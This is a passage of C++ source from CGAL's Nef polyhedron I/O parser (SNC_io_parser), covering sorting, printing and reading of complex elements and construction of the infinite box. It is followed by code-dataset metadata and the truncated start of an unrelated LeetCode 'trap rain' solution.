if(vi->has_shalfloop() &&
sort_sloops<SNC_structure>(*this->sncp())(vi->shalfloop()->twin(),
vi->shalfloop()))
vi->shalfloop() = vi->shalfloop()->twin();
}
}
if(sorted) {
VL.sort(sort_vertices<SNC_structure>(*this->sncp()));
}
if(reduce)
for(int k=0; k<4; k++){
VL.pop_front(); VL.pop_back();
}
int i = 0;
typename std::list<Vertex_iterator>::iterator vl;
for(vl = VL.begin(); vl != VL.end(); vl++)
VI[*vl] = i++;
SM_decorator SD;
Halfedge_iterator ei;
CGAL_forall_halfedges(ei, *this->sncp()) {
EL.push_back(ei);
if(sorted) {
// std::cerr << ei->point() << " | " << normalized(ei->point()) << " |";
ei->point() = normalized(ei->point());
// std::cerr << ei->point() << std::endl;
sort_sedges<SNC_structure> sortSE(*this->sncp());
SHalfedge_handle new_outedge = ei->out_sedge();
SHalfedge_around_svertex_circulator cb(new_outedge), ce(cb);
CGAL_For_all(cb,ce) {
if(cb != new_outedge && sortSE(cb,new_outedge))
new_outedge = cb;
}
ei->out_sedge() = new_outedge;
}
}
if(sorted) EL.sort(sort_edges<SNC_structure>(*this->sncp()));
if(reduce)
for(int k=0; k<12; k++){
EL.pop_front(); EL.pop_back();
}
i = 0;
typename std::list<Halfedge_iterator>::iterator el;
for(el = EL.begin(); el != EL.end(); el++)
EI[*el] = i++;
Halffacet_iterator fi;
CGAL_forall_halffacets(fi, *this->sncp()){
if(sorted) {
sort_sedges<SNC_structure> sortSE(*this->sncp());
Halffacet_cycle_iterator fc;
for(fc = fi->facet_cycles_begin();
fc != fi->facet_cycles_end(); ++fc) {
if(fc.is_shalfedge()) {
SHalfedge_handle se(fc);
if(this->sncp()->is_boundary_object(se))
this->sncp()->undef_boundary_item(se);
SHalfedge_around_facet_circulator sfc(fc), send(sfc);
CGAL_For_all(sfc, send) {
if(sortSE(sfc, se))
se = sfc;
}
this->sncp()->store_boundary_item(se,fc);
*fc = make_object(se);
}
}
fi->plane() = normalized(fi->plane());
fi->boundary_entry_objects().sort(sort_facet_cycle_entries<Base>((Base) *this));
}
FL.push_back(fi);
}
if(sorted) FL.sort(sort_facets<SNC_structure>(*this->sncp()));
if(reduce) {
for(int k=0; k<6; k++){
FL.pop_front();
FL.pop_back();
}
}
i = 0;
typename std::list<Halffacet_iterator>::iterator fl;
for(fl = FL.begin(); fl != FL.end(); fl++)
FI[*fl] = i++;
SHalfedge_iterator sei;
CGAL_forall_shalfedges(sei, *this->sncp()) {
SEL.push_back(sei);
if(sorted)
sei->circle() = normalized(sei->circle());
}
if(sorted) SEL.sort(sort_sedges<SNC_structure>(*this->sncp()));
if(reduce)
for(int k=0; k<24; k++){
SEL.pop_front(); SEL.pop_back();
}
i = 0;
typename std::list<SHalfedge_iterator>::iterator sel;
for(sel = SEL.begin(); sel != SEL.end(); sel++)
SEI[*sel] = i++;
SHalfloop_iterator sli;
CGAL_forall_shalfloops(sli, *this->sncp()) {
SLL.push_back(sli);
if(sorted)
sli->circle() = normalized(sli->circle());
}
if(sorted) SLL.sort(sort_sloops<SNC_structure>(*this->sncp()));
i = 0;
typename std::list<SHalfloop_iterator>::iterator sll;
for(sll = SLL.begin(); sll != SLL.end(); sll++)
SLI[*sll] = i++;
SFace_iterator sfi;
CGAL_forall_sfaces(sfi, *this->sncp()) {
if(sorted) {
SFace_cycle_iterator fc;
CGAL_forall_sface_cycles_of(fc, sfi) {
if(fc.is_shalfedge()) {
SHalfedge_handle se(fc);
if(this->sncp()->is_sm_boundary_object(se))
this->sncp()->undef_sm_boundary_item(se);
SHalfedge_around_sface_circulator cb(se), ce(cb);
CGAL_For_all(cb,ce) {
if(cb->source() != se->source()) {
if(lexicographically_xyz_smaller(cb->source()->twin()->source()->point(),
se->source()->twin()->source()->point()))
se = cb;
}
else
if(lexicographically_xyz_smaller(cb->twin()->source()->twin()->source()->point(),
se->twin()->source()->twin()->source()->point()))
se = cb;
}
this->sncp()->store_sm_boundary_item(se,fc);
*fc = make_object(se);
}
}
sfi->boundary_entry_objects().sort(sort_sface_cycle_entries<Base>((Base) *this));
}
SFL.push_back(sfi);
}
if(sorted) SFL.sort(sort_sfaces<SNC_structure>(*this->sncp()));
if(reduce)
for(int k=0; k<8; k++){
SFL.pop_front(); SFL.pop_back();
}
i = 0;
typename std::list<SFace_iterator>::iterator sfl;
for(sfl = SFL.begin(); sfl != SFL.end(); sfl++)
SFI[*sfl] = i++;
Volume_iterator ci;
CGAL::Unique_hash_map<SFace_handle,bool> Done(false);
find_minimal_sface_of_shell<SNC_structure> findMinSF(*this->sncp(),Done);
CGAL_forall_volumes(ci, *this->sncp()) {
if(sorted) {
Shell_entry_iterator it;
CGAL_forall_shells_of(it,ci) {
findMinSF.minimal_sface() = SFace_handle(it);
visit_shell_objects(SFace_handle(it),findMinSF);
*it = make_object(findMinSF.minimal_sface());
}
ci->shell_entry_objects().sort(sort_shell_entries<Base>((Base)*this));
}
CL.push_back(ci);
}
if(sorted) CL.sort(sort_volumes<SNC_structure>(*this->sncp()));
if(reduce)
CL.pop_front();
i = 0;
typename std::list<Volume_iterator>::iterator cl;
for(cl = CL.begin(); cl != CL.end(); cl++)
CI[*cl] = i++;
VI[W.vertices_end()]=-2;
EI[W.halfedges_end()]=-2;
FI[W.halffacets_end()]=-2;
CI[W.volumes_end()]=-2;
SEI[W.shalfedges_end()]=-2;
SLI[W.shalfloops_end()]=-2;
SFI[W.sfaces_end()]=-2;
}
template <typename EW>
bool SNC_io_parser<EW>::check_sep(const char* sep) const
{
char c;
do in.get(c); while (isspace(c));
while (*sep != '\0') {
if (*sep != c) {
in.putback(c);
return false;
}
++sep; in.get(c);
}
in.putback(c);
return true;
}
template <typename EW>
bool SNC_io_parser<EW>::test_string(std::string s) const {
std::string s2;
in >> s2;
return (s==s2);
}
template <typename EW>
void SNC_io_parser<EW>::print() const
{
out << "Selective Nef Complex" << std::endl;
if(this->is_extended_kernel() && (!reduce || !this->is_bounded()))
out << "extended" << std::endl;
else
out << "standard" << std::endl;
out << "vertices " << VL.size() << std::endl;
out << "halfedges " << EL.size() << std::endl;
out << "facets " << FL.size() << std::endl;
out << "volumes " << CL.size() << std::endl;
out << "shalfedges " << SEL.size() << std::endl;
out << "shalfloops " << SLL.size() << std::endl;
out << "sfaces " << SFL.size() << std::endl;
if (verbose)
out << "/* Vertex: index { svs sve ses see sfs sfe sl,"
<< " mark, point } */\n";
typename std::list<Vertex_iterator>::const_iterator v;
for(v=VL.begin();v!=VL.end();v++)
print_vertex(*v);
if (verbose)
out << "/* Edge: index { twin, source, isolated incident_object,"
<< " mark } */\n";
typename std::list<Halfedge_iterator>::const_iterator e;
for(e=EL.begin();e!=EL.end();e++)
print_edge(*e);
if (verbose)
out << "/* Facet: index { twin, fclist, ivlist, volume | plane } mark */\n";
typename std::list<Halffacet_iterator>::const_iterator f;
for(f=FL.begin();f!=FL.end();f++)
print_facet(*f);
if (verbose)
out << "/* Volume: index { shlist } mark */\n";
typename std::list<Volume_iterator>::const_iterator c;
for(c=CL.begin();c!=CL.end();c++)
print_volume(*c);
if (verbose)
out << "/* SEdge: index { twin, sprev, snext, source, sface,"
<< " prev, next, facet } */\n";
typename std::list<SHalfedge_iterator>::const_iterator se;
for(se=SEL.begin();se!=SEL.end();se++)
print_sedge(*se);
if (verbose)
out << "/* SLoop: index { twin, sface, facet } */" << std::endl;
typename std::list<SHalfloop_iterator>::const_iterator sl;
for(sl=SLL.begin();sl!=SLL.end();sl++)
print_sloop(*sl);
if (verbose)
out << "/* SFace: index { fclist, ivlist, sloop, volume } */" << std::endl;
typename std::list<SFace_iterator>::const_iterator sf;
for(sf=SFL.begin();sf!=SFL.end();sf++)
print_sface(*sf);
out << "/* end Selective Nef complex */" << std::endl;
}
template <typename EW>
void SNC_io_parser<EW>::read()
{
if ( !check_sep("Selective Nef Complex") )
CGAL_error_msg("SNC_io_parser::read: no SNC header.");
std::string kernel_type;
in >> kernel_type;
CGAL_assertion(kernel_type == "standard" || kernel_type == "extended");
if ( !(check_sep("vertices") && (in >> vn)) )
CGAL_error_msg("SNC_io_parser::read: wrong vertex line.");
if ( !(check_sep("halfedges") && (in >> en) && (en%2==0)) )
CGAL_error_msg("SNC_io_parser::read: wrong edge line.");
if ( !(check_sep("facets") && (in >> fn) && (fn%2==0)) )
CGAL_error_msg("SNC_io_parser::read: wrong facet line.");
if ( !(check_sep("volumes") && (in >> cn)) )
CGAL_error_msg("SNC_io_parser::read: wrong volume line.");
if ( !(check_sep("shalfedges") && (in >> sen)) )
CGAL_error_msg("SNC_io_parser::read: wrong sedge line.");
if ( !(check_sep("shalfloops") && (in >> sln)) )
CGAL_error_msg("SNC_io_parser::read: wrong sloop line.");
if ( !(check_sep("sfaces") && (in >> sfn)) )
CGAL_error_msg("SNC_io_parser::read: wrong sface line.");
addInfiBox = (kernel_type == "standard" && Infi_box::extended_kernel());
for(i=0; i<vn; ++i) Vertex_of.push_back(this->sncp()->new_vertex_only());
for(i=0; i<en; ++i) Edge_of.push_back(this->sncp()->new_halfedge_only());
for(i=0; i<fn; ++i) Halffacet_of.push_back(this->sncp()->new_halffacet_only());
for(i=0; i<cn; ++i) Volume_of.push_back(this->sncp()->new_volume_only());
for(i=0; i<sen; ++i) SEdge_of.push_back(this->sncp()->new_shalfedge_only());
for(i=0; i<sln; ++i) SLoop_of.push_back(this->sncp()->new_shalfloop_only());
for(i=0; i<sfn; ++i) SFace_of.push_back(this->sncp()->new_sface_only());
if(addInfiBox) {
Volume_of.push_back(this->sncp()->new_volume_only());
read_items<Standard_kernel>(1);
add_infi_box();
} else
read_items<Kernel>(0);
}
template <typename EW>
template <typename K>
void SNC_io_parser<EW>::read_items(int plus01) {
typename std::vector<Vertex_iterator>::iterator vi;
for(vi=Vertex_of.begin(); vi!=Vertex_of.end(); ++vi) {
if (!read_vertex<K>(*vi))
CGAL_error_msg("SNC_io_parser::read: error in node line");
}
typename std::vector<Halfedge_iterator>::iterator ei;
for(ei=Edge_of.begin(); ei!=Edge_of.end(); ++ei) {
if (!read_edge<K>(*ei))
CGAL_error_msg("SNC_io_parser::read: error in edge line");
}
typedef typename std::vector<Halffacet_iterator>::iterator vhf_iterator;
vhf_iterator fi;
for(fi=Halffacet_of.begin(); fi!=Halffacet_of.end(); ++fi) {
if (!read_facet<K>(*fi))
CGAL_error_msg("SNC_io_parser::read: error in facet line");
}
typename std::vector<Volume_iterator>::iterator ci;
for(ci=Volume_of.begin()+plus01; ci!=Volume_of.end(); ++ci) {
if (!read_volume(*ci))
CGAL_error_msg("SNC_io_parser::read: error in volume line");
}
typename std::vector<SHalfedge_iterator>::iterator sei;
for(sei=SEdge_of.begin(); sei!=SEdge_of.end(); ++sei) {
if (!read_sedge<K>(*sei))
CGAL_error_msg("SNC_io_parser::read: error in sedge line");
}
typename std::vector<SHalfloop_iterator>::iterator sli;
for(sli=SLoop_of.begin(); sli!=SLoop_of.end(); ++sli) {
if (!read_sloop<K>(*sli))
CGAL_error_msg("SNC_io_parser::read: error in sloop line");
}
typename std::vector<SFace_iterator>::iterator sfi;
for(sfi=SFace_of.begin(); sfi!=SFace_of.end(); ++sfi) {
if (!read_sface(*sfi))
CGAL_error_msg("SNC_io_parser::read: error in sface line");
}
SNC_constructor C(*this->sncp());
C.assign_indices();
}
template <typename EW>
void SNC_io_parser<EW>::print_vertex(Vertex_handle v) const
{ // syntax: index { svs sve, ses see, sfs sfe, sl | point } mark
SM_decorator SD(&*v);
out << index(v) << " { ";
if(sorted) {
output_sorted_indexes(v->svertices_begin(),
v->svertices_end(), EI);
output_sorted_indexes(v->shalfedges_begin(),
v->shalfedges_end(), SEI);
output_sorted_indexes(v->sfaces_begin(),
v->sfaces_end(), SFI);
out << index(SD.shalfloop()) << " | ";
}
else {
out
<< index(v->svertices_begin()) << " "
<< index(v->svertices_last()) << ", "
<< index(v->shalfedges_begin()) << " "
<< index(v->shalfedges_last()) << ", "
<< index(v->sfaces_begin()) << " "
<< index(v->sfaces_last()) << ", "
<< index(SD.shalfloop()) << " | ";
}
if(reduce) {
Geometry_io<typename Standard_kernel::Kernel_tag, Standard_kernel>::
print_point(out, Infi_box::standard_point(v->point()));
}
else
Geometry_io<typename Kernel::Kernel_tag, Kernel>::print_point(out, v->point());
out << " } " << v->mark() << std::endl;
}
template <typename EW>
template <typename K>
bool SNC_io_parser<EW>::
read_vertex(Vertex_handle vh) {
bool OK = true;
int index;
typename K::RT hx, hy, hz, hw;
in >> index;
OK = OK && test_string("{");
vh->sncp() = this->sncp();
in >> index;
vh->svertices_begin() = (index >= 0 ? Edge_of[index] : this->svertices_end());
in >> index;
vh->svertices_last() = index >= 0 ? Edge_of[index] : this->svertices_end();
OK = OK && test_string(",");
in >> index;
vh->shalfedges_begin() = index >= 0 ? SEdge_of[index] : this->shalfedges_end();
in >> index;
vh->shalfedges_last() = index >= 0 ? SEdge_of[index] : this->shalfedges_end();
OK = OK && test_string(",");
in >> index;
vh->sfaces_begin() = index >= 0 ? SFace_of[index] : this->sfaces_end();
in >> index;
vh->sfaces_last() = index >= 0 ? SFace_of[index] : this->sfaces_end();
OK = OK && test_string(",");
in >> index;
vh->shalfloop() = index >= 0 ? SLoop_of[index] : this->shalfloops_end();
OK = OK && test_string("|");
#ifdef CGAL_NEF_NATURAL_COORDINATE_INPUT
in >> hx >> hy >> hz >> hw;
vh->point() = Point_3(hx,hy,hz,hw);
#else
vh->point() =
Geometry_io<typename K::Kernel_tag, Kernel>::template read_point<Kernel, K>(in);
#endif
OK = OK && test_string("}");
in >> vh->mark();
return OK;
}
template <typename EW>
void SNC_io_parser<EW>::print_edge(Halfedge_handle e) const
{ // syntax: index { twin, source, isolated incident_object | spoint } mark
SM_decorator D(&*e->source());
out << index(e) << " { " << index(e->twin()) << ", "
<< index(e->source()) << ", ";
if ( D.is_isolated(e) ) out << "1 " << index(e->incident_sface());
else out << "0 " << index(e->out_sedge());
out << " | ";
if(reduce) {
Standard_point sp = Infi_box::standard_point(e->point());
Geometry_io<typename Standard_kernel::Kernel_tag, Standard_kernel>::
print_vector(out, sp-CGAL::ORIGIN);
}
else
Geometry_io<typename Kernel::Kernel_tag, Kernel>::
print_vector(out, e->vector());
out << " } "<< e->mark();
#ifdef CGAL_NEF_OUTPUT_INDEXES
out << " " << e->get_index();
#endif
out << std::endl;
}
template <typename EW>
template <typename K>
bool SNC_io_parser<EW>::
read_edge(Halfedge_handle eh) {
bool OK = true;
int index;
typename K::RT hx,hy,hz,hw;
in >> index;
OK = OK && test_string("{");
in >> index;
eh->twin() = Edge_of[index];
OK = OK && test_string(",");
in >> index;
eh->center_vertex() = Vertex_of[index];
OK = OK && test_string(",");
in >> index;
if(index == 0) {
in >> index;
eh->out_sedge() = SEdge_of[index];
} else {
in >> index;
eh->incident_sface() = SFace_of[index];
}
OK = OK && test_string("|");
#ifdef CGAL_NEF_NATURAL_COORDINATE_INPUT
in >> hx >> hy >> hz >> hw;
eh->point() = Sphere_point(hx,hy,hz);
#else
eh->point() =
Geometry_io<typename K::Kernel_tag, Kernel>::template read_point<Kernel,K>(in);
#endif
OK = OK && test_string("}");
in >> eh->mark();
return OK;
}
template <typename EW>
void SNC_io_parser<EW>::print_facet(Halffacet_handle f) const
{ // syntax: index { twin, fclist, ivlist, volume | plane } mark
out << index(f) << " { ";
out << index(f->twin()) << ", ";
Halffacet_cycle_iterator it;
CGAL_forall_facet_cycles_of(it,f)
if ( it.is_shalfedge() ) out << index(SHalfedge_handle(it)) << ' ';
out << ", ";
CGAL_forall_facet_cycles_of(it,f)
if ( it.is_shalfloop() ) out << index(SHalfloop_handle(it)) << ' ';
out << ", " << index(f->incident_volume()) << " | ";
if(reduce) {
Geometry_io<typename Standard_kernel::Kernel_tag, Standard_kernel>::
print_plane(out, Infi_box::standard_plane(f->plane()));
}
else
Geometry_io<typename Kernel::Kernel_tag, Kernel>::print_plane(out, f->plane());
out << " } " << f->mark() << std::endl;
}
template <typename EW>
template <typename K>
bool SNC_io_parser<EW>::
read_facet(Halffacet_handle fh) {
bool OK = true;
int index;
char cc;
typename K::RT a,b,c,d;
in >> index;
OK = OK && test_string("{");
in >> index;
fh->twin() = Halffacet_of[index];
OK = OK && test_string(",");
in >> cc;
while(isdigit(cc)) {
in.putback(cc);
in >> index;
fh->boundary_entry_objects().push_back(make_object(SEdge_of[index]));
in >> cc;
}
in >> cc;
while(isdigit(cc)) {
in.putback(cc);
in >> index;
fh->boundary_entry_objects().push_back(make_object(SLoop_of[index]));
in >> cc;
}
in >> index;
fh->incident_volume() = Volume_of[index+addInfiBox];
OK = OK && test_string("|");
#ifdef CGAL_NEF_NATURAL_COORDINATE_INPUT
in >> a >> b >> c >> d;
fh->plane() = Plane_3(a,b,c,d);
#else
fh->plane() =
Geometry_io<typename K::Kernel_tag, Kernel>::
template read_plane<Kernel, K>(in);
#endif
OK = OK && test_string("}");
in >> fh->mark();
return OK;
}
template <typename EW>
void SNC_io_parser<EW>::print_volume(Volume_handle c) const
{ // syntax: index { shlist } mark
out << index(c) << " { ";
Shell_entry_iterator it;
CGAL_forall_shells_of(it,c)
if(!reduce || Infi_box::is_standard(SFace_handle(it)->center_vertex()->point()))
out << index(SFace_handle(it)) << ' ';
out << "} " << c->mark() << std::endl;
}
template <typename EW>
bool SNC_io_parser<EW>::
read_volume(Volume_handle ch) {
bool OK = true;
int index;
char cc;
in >> index;
OK = OK && test_string("{");
in >> cc;
while(isdigit(cc)) {
in.putback(cc);
in >> index;
ch->shell_entry_objects().push_back(make_object(SFace_of[index]));
in >> cc;
}
in >> ch->mark();
return OK;
}
template <typename EW>
void SNC_io_parser<EW>::
print_sedge(SHalfedge_handle e) const {
//index { twin, sprev, snext, source, sface, prev, next, facet | circle } mark
out << index(e) << " { "
<< index(e->twin()) << ", "
<< index(e->sprev()) << ", " << index(e->snext()) << ", "
<< index(e->source()) << ", " << index(e->incident_sface()) << ", "
<< index(e->prev()) << ", " << index(e->next()) << ", "
<< index(e->facet())
<< " | ";
if(reduce) {
Geometry_io<typename Standard_kernel::Kernel_tag, Standard_kernel>::
print_plane(out, Infi_box::standard_plane(e->circle()));
}
else
Geometry_io<typename Kernel::Kernel_tag, Kernel>::
print_plane(out, (Plane_3) e->circle());
out << " } " << e->mark();
#ifdef CGAL_NEF_OUTPUT_INDEXES
out << " " << e->get_forward_index()
<< " " << e->get_backward_index();
#endif
out << std::endl;
}
template <typename EW>
template <typename K>
bool SNC_io_parser<EW>::
read_sedge(SHalfedge_handle seh) {
bool OK = true;
int index;
typename K::RT a,b,c,d;
in >> index;
OK = OK && test_string("{");
in >> index;
seh->twin() = SEdge_of[index];
OK = OK && test_string(",");
in >> index;
seh->sprev() = SEdge_of[index];
OK = OK && test_string(",");
in >> index;
seh->snext() = SEdge_of[index];
OK = OK && test_string(",");
in >> index;
seh->source() = Edge_of[index];
OK = OK && test_string(",");
in >> index;
seh->incident_sface() = SFace_of[index];
OK = OK && test_string(",");
in >> index;
seh->prev() = SEdge_of[index];
OK = OK && test_string(",");
in >> index;
seh->next() = SEdge_of[index];
OK = OK && test_string(",");
in >> index;
seh->facet() = Halffacet_of[index];
OK = OK && test_string("|");
#ifdef CGAL_NEF_NATURAL_COORDINATE_INPUT
in >> a >> b >> c >> d;
seh->circle() = Sphere_circle(Plane_3(a,b,c,d));
#else
seh->circle() =
Geometry_io<typename K::Kernel_tag, Kernel>::
template read_plane<Kernel, K>(in);
#endif
OK = OK && test_string("}");
in >> seh->mark();
return OK;
}
template <typename EW>
void SNC_io_parser<EW>::
print_sloop(SHalfloop_handle l) const
{ // syntax: index { twin, sface, facet | circle } mark
out << index(l) << " { "
<< index(l->twin()) << ", " << index(l->incident_sface()) << ", "
<< index(l->facet())
<< " | ";
if(reduce) {
Geometry_io<typename Standard_kernel::Kernel_tag, Standard_kernel>::
print_plane(out, Infi_box::standard_plane(l->circle()));
}
else
Geometry_io<typename Kernel::Kernel_tag, Kernel>::
print_plane(out, (Plane_3) l->circle());
out << " } " << l->mark() << "\n";
}
template <typename EW>
template <typename K>
bool SNC_io_parser<EW>::
read_sloop(SHalfloop_handle slh) {
bool OK = true;
int index;
typename K::RT a,b,c,d;
in >> index;
OK = OK && test_string("{");
in >> index;
slh->twin() = SLoop_of[index];
OK = OK && test_string(",");
in >> index;
slh->incident_sface() = SFace_of[index];
OK = OK && test_string(",");
in >> index;
slh->facet() = Halffacet_of[index];
OK = OK && test_string("|");
#ifdef CGAL_NEF_NATURAL_COORDINATE_INPUT
in >> a >> b >> c >> d;
slh->circle() = Sphere_circle(Plane_3(a,b,c,d));
#else
slh->circle() =
Geometry_io<typename K::Kernel_tag, Kernel>::
template read_plane<Kernel, K>(in);
#endif
OK = OK && test_string("}");
in >> slh->mark();
return OK;
}
template <typename EW>
void SNC_io_parser<EW>::
print_sface(SFace_handle f) const
{ // syntax: index { vertex, fclist, ivlist, sloop, volume }
SM_decorator D(&*f->center_vertex());
out << index(f) << " { " << index(f->center_vertex()) << ", ";
SFace_cycle_iterator it;
CGAL_forall_sface_cycles_of(it,f)
if ( it.is_shalfedge() ) out << index(SHalfedge_handle(it)) << ' ';
out << ", ";
CGAL_forall_sface_cycles_of(it,f)
if ( it.is_svertex() ) out << index(SVertex_handle(it)) << ' ';
out << ", ";
CGAL_forall_sface_cycles_of(it,f)
if ( it.is_shalfloop() ) out << index(SHalfloop_handle(it));
out << ", " << index(f->volume()) << " } " << f->mark() <<"\n";
}
template <typename EW>
bool SNC_io_parser<EW>::
read_sface(SFace_handle sfh) {
bool OK = true;
int index;
char cc;
in >> index;
OK = OK && test_string("{");
in >> index;
sfh->center_vertex() = Vertex_of[index];
OK = OK && test_string(",");
in >> cc;
while(isdigit(cc)) {
in.putback(cc);
in >> index;
// sfh->boundary_entry_objects().push_back(SEdge_of[index]);
SM_decorator SD(&*sfh->center_vertex());
SD.link_as_face_cycle(SEdge_of[index],sfh);
in >> cc;
}
in >> cc;
while(isdigit(cc)) {
in.putback(cc);
in >> index;
sfh->boundary_entry_objects().push_back(make_object(Edge_of[index]));
this->sncp()->store_sm_boundary_item(Edge_of[index], --(sfh->sface_cycles_end()));
in >> cc;
}
in >> cc;
while(isdigit(cc)) {
in.putback(cc);
in >> index;
sfh->boundary_entry_objects().push_back(make_object(SLoop_of[index]));
this->sncp()->store_sm_boundary_item(SLoop_of[index], --(sfh->sface_cycles_end()));
in >> cc;
}
in >> index;
sfh->volume() = Volume_of[index+addInfiBox];
OK = OK && test_string("}");
in >> sfh->mark();
return OK;
}
template <typename EW>
void SNC_io_parser<EW>::print_local_graph(Vertex_handle v) const
{ SM_decorator D(&*v);
out << "Local Graph "
<< D.number_of_vertices() << " " << D.number_of_edges() << " "
<< D.number_of_loops() << " " << D.number_of_faces() << " "
<< std::endl;
if (verbose)
out << "/* index { twin, source, isolated incident_object, mark } */\n";
SVertex_iterator vit;
CGAL_forall_svertices_of(vit,v) print_edge(vit);
if (verbose)
out << "/* index { twin, sprev, snext, source, sface,"
<< " prev, next, facet } */\n";
SHalfedge_iterator eit;
CGAL_forall_shalfedges_of(eit,v) print_sedge(eit);
if (verbose)
out << "/* index { twin, sface, facet } */" << std::endl;
if ( D.has_sloop() )
{ print_sloop(D.loop()); print_sloop(twin(D.loop())); }
if (verbose)
out << "/* index { fclist, ivlist, sloop, volume } */" << std::endl;
SFace_iterator fit;
CGAL_forall_sfaces_of(fit,v) print_sface(fit);
out.flush();
}
template <typename EW>
void SNC_io_parser<EW>::add_infi_box() {
for(i=0; i<8; ++i) Vertex_of.push_back(this->sncp()->new_vertex_only());
for(i=0; i<24; ++i) Edge_of.push_back(this->sncp()->new_halfedge_only());
for(i=0; i<12; ++i) Halffacet_of.push_back(this->sncp()->new_halffacet_only());
for(i=0; i<48; ++i) SEdge_of.push_back(this->sncp()->new_shalfedge_only());
for(i=0; i<16; ++i) SFace_of.push_back(this->sncp()->new_sface_only());
typename Standard_kernel::RT hx,hy,hz,hw;
for(int i=0; i<8; ++i) {
Vertex_handle vh = Vertex_of[vn+i];
vh->svertices_begin() = Edge_of[en+3*i];
vh->svertices_last() = Edge_of[en+3*i+2];
vh->shalfedges_begin() = SEdge_of[sen+6*i];
vh->shalfedges_last() = SEdge_of[sen+6*i+5];
vh->sfaces_begin() = SFace_of[sfn+2*i];
vh->sfaces_last() = SFace_of[sfn+2*i+1];
vh->shalfloop() = this->shalfloops_end();
hx = i % 2 ? -1 : 1;
hy = i % 4 > 1 ? -1 : 1;
hz = i > 3 ? -1 : 1;
vh->point() = Infi_box::create_extended_point(hx, hy, hz);
vh->mark() = 1;
vh->sncp() = this->sncp();
}
int seOff[3] = {0, 1, 3};
int twinIdx[24] = { 3, 7,14,
0,10,17,
9, 1,20,
6, 4,23,
15,19, 2,
12,22, 5,
21,13, 8,
18,16,11};
for(int i = 0; i < 24; ++i) {
Halfedge_handle eh = Edge_of[en+i];
eh->twin() = Edge_of[en+twinIdx[i]];
eh->center_vertex() = Vertex_of[vn+(i/3)];
eh->out_sedge() = SEdge_of[sen+(i/3*6)+seOff[i%3]];
switch(i%3) {
case 0 :
hx = i % 6 ? 1 : -1;
hy = hz = 0;
break;
case 1:
hy = i % 12 >= 6 ? 1 : -1;
hx = hz = 0;
break;
case 2:
hz = i >= 12 ? 1 : -1;
hx = hy = 0;
break;
}
eh->point() = Sphere_point(hx,hy,hz);
eh->mark() = 1;
}
int bnd[12] = {19, 18, 43, 42, 35, 34,
47, 46, 39, 38, 45, 44};
for(int i = 0; i < 12; ++i) {
Halffacet_handle fh = Halffacet_of[fn+i];
fh->twin() = Halffacet_of[fn+(i/2*2)+((i+1)%2)];
fh->boundary_entry_objects().push_back(make_object(SEdge_of[sen+bnd[i]]));
fh->incident_volume() = Volume_of[((i%4) == 1 || (i%4 == 2)) ? 1 : 0];
if(i<4) {
hz = i % 2 ? -1 : 1;
hx = hy = 0;
}
else if(i<8) {
hy = i % 2 ? -1 : 1;
hx = hz = 0;
}
else {
hx = i % 2 ? -1 : 1;
hz = hy = 0;
}
hw = ((i%4) == 1 || (i%4) == 2) ? 1 : -1;
fh->plane() = Infi_box::create_extended_plane(hx,hy,hz,hw);
fh->mark() = 1;
}
Volume_of[0]->shell_entry_objects().push_back(make_object(SFace_of[sfn]));
Volume_of[0]->mark() = 0;
Volume_of[1]->shell_entry_objects().push_front(make_object(SFace_of[sfn+1]));
int sprevOff[6] = {4,3,0,5,2,1};
int snextOff[6] = {2,5,4,1,0,3};
int prevIdx[48] = {7,12,15,26,29,10,
1,18,21,32,35,4,
19,0,3,38,41,22,
13,6,9,44,47,16,
31,36,39,2,5,34,
25,42,45,8,11,28,
43,24,27,14,17,46,
37,30,33,20,23,40};
int nextIdx[48] = {13,6,27,14,11,28,
19,0,33,20,5,34,
1,18,39,2,23,40,
7,12,45,8,17,46,
37,30,3,38,35,4,
43,24,9,44,29,10,
25,42,15,26,47,16,
31,36,21,32,41,22};
int factIdx[48] = {1,0,9,8,5,4,
0,1,11,10,4,5,
0,1,8,9,7,6,
1,0,10,11,6,7,
3,2,8,9,4,5,
2,3,10,11,5,4,
2,3,9,8,6,7,
3,2,11,10,7,6};
int sgn[24] = {1,1,1,-1,1,-1,
-1,-1,1,1,-1,-1,
1,-1,-1,-1,-1,1,
-1,1,-1,1,1,1};
for(int i = 0; i < 48; ++i) {
SHalfedge_handle seh = SEdge_of[sen+i];
seh->twin() = SEdge_of[sen+(i/2*2)+((i+1)%2)];
seh->sprev() = SEdge_of[sen+sprevOff[i%6]+(i/6*6)];
seh->snext() = SEdge_of[sen+snextOff[i%6]+(i/6*6)];
seh->source() = Edge_of[en+((i+1)%6)/2+(i/6)*3];
seh->incident_sface() = SFace_of[sfn+(i%2)+(i/6)*2];
seh->prev() = SEdge_of[sen+prevIdx[i]];
seh->next() = SEdge_of[sen+nextIdx[i]];
seh->facet() = Halffacet_of[fn+factIdx[i]];
if(i%6 < 2) {
hz = (i%2) ? sgn[i/2] * (-1) : sgn[i/2];
hx = hy = 0;
}
else if(i%6 < 4) {
hx = (i%2) ? sgn[i/2] * (-1) : sgn[i/2];
hz = hy = 0;
}
else {
hy = (i%2) ? sgn[i/2] * (-1) : sgn[i/2];
hx = hz = 0;
}
seh->circle() = Sphere_circle(Plane_3(RT(hx),RT(hy),RT(hz),RT(0)));
seh->mark() = 1;
}
int volIdx[8] = {0,1,1,0,1,0,0,1};
for(int i = 0; i < 16; ++i) {
SFace_handle sfh = SFace_of[sfn+i];
sfh->center_vertex() = Vertex_of[vn+(i/2)];
sfh->boundary_entry_objects().push_back(make_object(SEdge_of[sen+(i/2*6)+(i%2)]));
this->sncp()->store_sm_boundary_item(SEdge_of[sen+(i/2*6)+(i%2)],
--(sfh->sface_cycles_end()));
int cIdx = i%2 ? 1-volIdx[i/2] : volIdx[i/2];
sfh->volume() = Volume_of[cIdx];
sfh->mark() = cIdx ? Volume_of[1]->mark() : 0;
}
}
} //namespace CGAL
#endif //CGAL_SNC_IO_PARSER_H
|
[
"succeed.2009@163.com"
] |
succeed.2009@163.com
|
1b691b92a97fad11b3277c35d44d6cbf303745d2
|
534faaa6412c3002f17a4cc9c8b2979be89b257b
|
/cppversion/42. trap rain.cpp
|
9a716095fc8a322751ce3daa557c75a52453028a
|
[] |
no_license
|
mshtang/leetcode
|
6b519f0759516b5cd483b22de016e72c4a153461
|
84a79032df25a6696df3df52c8740a9026476d2b
|
refs/heads/master
| 2020-03-09T23:52:22.914576
| 2018-11-23T11:26:51
| 2018-11-23T11:26:51
| 129,065,306
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,190
|
cpp
|
#include <iostream>
#include <vector>
int trapRain(std::vector<int> &height)
{
int ans = 0;
